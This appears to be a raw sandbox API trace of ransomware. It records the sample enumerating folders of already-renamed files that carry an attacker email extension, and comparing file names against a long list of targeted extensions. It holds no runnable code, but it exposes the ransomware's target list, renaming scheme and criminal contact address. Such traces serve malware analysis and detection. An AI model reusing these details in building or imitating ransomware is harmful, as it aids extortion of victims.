lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37b8feaa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37b8feaa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.145] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37b8feaa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37b8feaa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.145] FindClose (in: hFindFile=0x484658 | out: hFindFile=0x484658) returned 1 [0157.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.146] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0157.146] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.146] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484858 [0157.218] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.218] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37dcc316, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37dcc316, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37dcc316, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.218] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37dcc316, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37dcc316, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.218] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37eb10b9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37eb10b9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.218] FindNextFileW (in: hFindFile=0x484858, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37eb10b9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37eb10b9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.218] FindClose (in: hFindFile=0x484858 | out: hFindFile=0x484858) returned 1 [0157.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.219] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0157.219] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.219] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484158 [0157.220] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.220] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38b5b948, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38b5b948, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38b81a76, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.220] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38b81a76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38b81a76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ba7bd3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.220] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37ed85ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37ed85ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.220] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37ed85ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37ed85ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.220] FindClose (in: hFindFile=0x484158 | out: hFindFile=0x484158) returned 1 [0157.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.221] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0157.221] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.221] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.280] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.280] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ba7bd3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ba7bd3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bcdefc, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.280] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38bf426c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.280] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.280] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.280] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.280] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0157.281] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.281] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484298 [0157.283] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.283] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d26764, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d26764, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d26764, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.283] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.283] lstrlenW (lpString=".1cd") returned 4 [0157.283] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.283] lstrlenW (lpString=".3ds") returned 4 [0157.283] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.283] lstrlenW (lpString=".3fr") returned 4 [0157.283] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.283] lstrlenW (lpString=".3g2") returned 4 [0157.283] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.283] lstrlenW (lpString=".3gp") returned 4 [0157.283] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.283] lstrlenW (lpString=".7z") returned 3 [0157.283] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.283] lstrlenW (lpString=".accda") returned 6 [0157.283] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.283] lstrlenW (lpString=".accdb") returned 6 [0157.283] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.284] lstrlenW (lpString=".accdc") returned 6 [0157.284] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.284] lstrlenW (lpString=".accde") returned 6 [0157.284] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.284] lstrlenW (lpString=".accdt") returned 6 [0157.284] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.284] lstrlenW (lpString=".accdw") returned 6 [0157.284] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.284] lstrlenW (lpString=".adb") returned 4 [0157.284] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".adp") returned 4 [0157.284] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".ai") returned 3 [0157.284] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.284] lstrlenW (lpString=".ai3") returned 4 [0157.284] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".ai4") returned 4 [0157.284] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".ai5") returned 4 [0157.284] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".ai6") returned 4 [0157.284] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".ai7") returned 4 [0157.284] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".ai8") returned 4 [0157.284] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".anim") returned 5 [0157.284] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.284] lstrlenW (lpString=".arw") returned 4 [0157.284] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.284] lstrlenW (lpString=".as") returned 3 [0157.284] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.284] lstrlenW (lpString=".asa") returned 4 [0157.284] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".asc") returned 4 [0157.285] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".ascx") returned 5 [0157.285] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.285] lstrlenW (lpString=".asm") returned 4 [0157.285] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".asmx") returned 5 [0157.285] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.285] lstrlenW (lpString=".asp") returned 4 [0157.285] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".aspx") returned 5 [0157.285] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.285] lstrlenW (lpString=".asr") returned 4 [0157.285] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".asx") returned 4 [0157.285] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".avi") returned 4 [0157.285] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".avs") returned 4 [0157.285] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".backup") returned 7 [0157.285] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.285] lstrlenW (lpString=".bak") returned 4 [0157.285] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".bay") returned 4 [0157.285] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".bd") returned 3 [0157.285] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.285] lstrlenW (lpString=".bin") returned 4 [0157.285] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".bmp") returned 4 [0157.285] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.285] lstrlenW (lpString=".bz2") returned 4 [0157.286] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".c") returned 2 [0157.286] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.286] lstrlenW (lpString=".cdr") returned 4 [0157.286] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".cer") returned 4 [0157.286] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".cf") returned 3 [0157.286] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.286] lstrlenW (lpString=".cfc") returned 4 [0157.286] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".cfm") returned 4 [0157.286] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".cfml") returned 5 [0157.286] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.286] lstrlenW (lpString=".cfu") returned 4 [0157.286] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".chm") returned 4 [0157.286] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".cin") returned 4 [0157.286] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".class") returned 6 [0157.286] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.286] lstrlenW (lpString=".clx") returned 4 [0157.286] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".config") returned 7 [0157.286] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.286] lstrlenW (lpString=".cpp") returned 4 [0157.286] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".cr2") returned 4 [0157.286] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".crt") returned 4 [0157.286] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.286] lstrlenW (lpString=".crw") returned 4 [0157.287] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".cs") returned 3 [0157.287] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.287] lstrlenW (lpString=".css") returned 4 [0157.287] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".csv") returned 4 [0157.287] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".cub") returned 4 [0157.287] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dae") returned 4 [0157.287] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dat") returned 4 [0157.287] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".db") returned 3 [0157.287] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.287] lstrlenW (lpString=".dbf") returned 4 [0157.287] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dbx") returned 4 [0157.287] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dc3") returned 4 [0157.287] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dcm") returned 4 [0157.287] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dcr") returned 4 [0157.287] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".der") returned 4 [0157.287] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dib") returned 4 [0157.287] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dic") returned 4 [0157.287] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.287] lstrlenW (lpString=".dif") returned 4 [0157.287] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".divx") returned 5 [0157.288] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.288] lstrlenW (lpString=".djvu") returned 5 [0157.288] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.288] lstrlenW (lpString=".dng") returned 4 [0157.288] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".doc") returned 4 [0157.288] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".docm") returned 5 [0157.288] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.288] lstrlenW (lpString=".docx") returned 5 [0157.288] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.288] lstrlenW (lpString=".dot") returned 4 [0157.288] 